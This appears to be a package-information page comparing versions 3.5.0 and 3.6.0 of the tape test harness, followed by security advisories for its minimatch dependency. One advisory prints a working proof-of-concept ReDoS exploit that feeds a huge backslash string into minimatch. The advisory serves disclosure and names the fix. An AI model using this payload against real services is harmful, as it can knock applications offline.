Tape is a popular, lightweight, and straightforward test harness praised for its simplicity and ease of use in both Node.js and browser environments. Both versions 3.5.0 and 3.6.0 share core characteristics: they provide a TAP-producing testing framework, ensuring compatibility with various TAP consumers. Key dependencies like glob for file matching, 'defined', 'resumer', 'through', 'inherits', 'deep-equal' for robust comparisons, and 'object-inspect' for detailed object inspection remain consistent. This signals a stable foundation for developers relying on these functionalities. Crucially, the development dependencies, including tap for running TAP output, falafel for abstract syntax tree manipulation, and concat-stream for efficient stream handling, are identical, implying a consistent development workflow.
The primary difference lies in the releaseDate. Version 3.6.0 was released on March 6, 2016, significantly later than version 3.5.0, released on January 30, 2015. Although the package manifests don't reveal specific code changes, the substantial time gap hints at bug fixes, performance improvements, or internal refactoring. For developers, upgrading to 3.6.0 is generally recommended to benefit from the latest refinements and potentially address any known issues present in the earlier version. However, given the absence of explicit breaking changes, the upgrade process should be relatively seamless for most users already familiar with tape.
All the vulnerabilities related to the version 3.6.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.